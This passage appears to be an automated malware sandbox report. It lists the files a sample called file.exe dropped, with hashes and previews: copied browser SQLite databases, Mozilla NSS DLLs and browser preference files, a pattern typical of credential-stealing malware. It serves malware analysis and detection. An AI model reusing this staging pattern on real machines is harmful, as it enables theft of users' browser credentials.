C:\ProgramData\BKJKJEHJJDAKECBFCGID

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\EBFHJEGDAFHIJKECFBKJJKJJDH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ECGDBAEH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2674702540745435
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkMNSA1LyKOMq+8iP5GDHP/0jMVumw:Kq+n0JN91LyKOMq+8iP5GLP/0J
MD5:	72744C13C9E16F8B842B52D11EC69A36
SHA1:	0256A992D5A1748D917B9376E3DA7D4027EFA75E
SHA-256:	25574CD3FDF35DF209E9796A93B005761A89288953B1A94400F08C926A984357
SHA-512:	DFA6B20881463B2D6307A61F2E5AFC7F748A06D34A0A99F37347036E55B8CC8788FFD70105E30CF85A5B1C5C8A21692D4AFAE0B212E41DBD5922352975D9375D
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FCFBGIDAEHCFIDGCBGII

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IJECBGIJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KFIDAFBFBKFHJJKEHIEG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\be33d1b9ea.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\06503723-96ef-4c9c-ad16-366882bea405.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46586
Entropy (8bit):	6.085830598384465
Encrypted:	false
SSDEEP:	768:VMkbJrT8IeQcrQghKncSi1zNtCsgLpsX/DEwbchy1DhuCioUJDSgzMMd6qD47u3R:VMk1rT8HBKN1014FoUtSmd6qE7E
MD5:	03DCA7E307893B32F9BCB05095BD9CE7
SHA1:	121F19FC4FE98C0938BE4C299A2A8C8C9479DA79
SHA-256:	1C668C7C2A794E94746F206E8EEB2982776013C5EE0B31A5198588FB74D1E81C
SHA-512:	32C034B4805F140C4A2CB732C0402591D78C43A82BEFE5CC78F1C6C267EF92902E876A7F16BA4C839A50907BE4340C0D55F5B1C2B23B2BE6DE3CBCBCE37A3F31
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13375798819612798","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"22e089c8-6a2d-498a-bb61-323ca0420cde"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1731325224"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\47bd670f-57e1-4580-9a82-1ed0be18aba5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46509
Entropy (8bit):	6.085895761123603
Encrypted:	false
SSDEEP:	768:VMkbJrT8IeQcrQgxKncSi1zNtCF9gLpsX/DEwbchy1DhuCioUJDSgzMMd6qD47uB:VMk1rT8HRKNFU014FoUtSmd6qE7E
MD5:	3437B43F928D71DC00589D4463F60F50
SHA1:	BF7617D152B82B838269EEB12F7498758D7E523B
SHA-256:	21387906CAE5F505C0406CCCF1A15508456FBEEB9E37E3536A3EA6D2242A474C
SHA-512:	9E3B01C0DCEAE2193C70DFD5C1A83F1C0E7C941BB87D8ACAEC830F47779B26BBD5C56E7CF5DAD2E219DF6D1CD1CF5E50EEC0182F199CDAA75FD6895E2FFE61B1
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13375798819612798","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"22e089c8-6a2d-498a-bb61-323ca0420cde"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1731325224"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\5799ef2d-cbbc-425a-b9b3-bef1d958ee38.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46586
Entropy (8bit):	6.085832897450405
Encrypted:	false
SSDEEP:	768:VMkbJrT8IeQcrQgh9ncSi1zNtCsgLpsX/DEwbchy1DhuCioUJDSgzMMd6qD47u3R:VMk1rT8HB9N1014FoUtSmd6qE7E
MD5:	A2AA69B528CD3B74D667F9E5CF93C65F
SHA1:	23B7D12653278240264886B5CBD05417AD90E3D3
SHA-256:	A2CE641F3ED9EC017FAE7363CB81FF5A101985A82A10C9B2DDAB7BDDE19B05C1
SHA-512:	5DAA8C6E40A2375DBF6EA160EB5CEA5AE4DFAF3ACED91D1D28A3D7E3003277523210D49536F58483416472773DD453CD33FBAB4945BAEEF8BE6E89A1195D2F46
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13375798819612798","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"22e089c8-6a2d-498a-bb61-323ca0420cde"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1731325224"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\5e509f95-6e53-47af-8de1-bbbb0ae91f45.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089803630543614
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWedi1zNtPMwkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynyLkzItSmd6qE7lFoC
MD5:	8D3C37B6BB52A2D991B4D81917C56A26
SHA1:	9E7E9502736A158B4A551420B0D59AF62F12278D
SHA-256:	A3B04B5E2F5F8ADCCE51C0661D5E806F24CFFF41477A81E91F1F10B0BFF76EC2
SHA-512:	07329564B0631C0784698C3FAB3890912CC7EA6422DC2ACB5964D432B3AD452D3B98E22139538922297142AE6F559D236E041E3671F25C85D5105FB1C85E6C11
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\64734da3-8538-4c87-84b8-60d17bd962aa.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44902
Entropy (8bit):	6.094858053572119
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWlTi1zNtCFNdpIFD5FdiKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7yncFvKtSmd6qE7lFoC
MD5:	67F33E4691EE05FA2DA35B7B12B80291
SHA1:	43F4D6E9D11E93C0356C5F052856270E429C3808
SHA-256:	408BA497789D512231ACC23069F85CAB1B14A9DE0DCAACD4995E1310CBCEA92E
SHA-512:	9AAA5389F720BBEF38BCA4AB9EACA9FBF01EA01E5A75619C49AF378B55F835361EBCC6F99E899164891BF53070835F6136EBB8E70FE6A9946A35CC608B986D99
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\7bea8035-fc88-42c6-a96c-01f755e55806.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46462
Entropy (8bit):	6.086179153790957
Encrypted:	false
SSDEEP:	768:VMkbJrT8IeQcrQgxKncSi1zNtCF9gLpsX/DEwbchy1DhuCioUJDSgzMMd6qD47uB:VMk1rT8HRKNFU014FoUtSmd6qE7E
MD5:	778762D14242F0ADE978BEC23C524963
SHA1:	5AE7F401F4DE5F32B9EA79D85131B5E485519AE8
SHA-256:	24A21D1F757C9BBFA388FBFC40AAC62A6F4176B2C4A5E2A46A9EB7F59EEC85CE
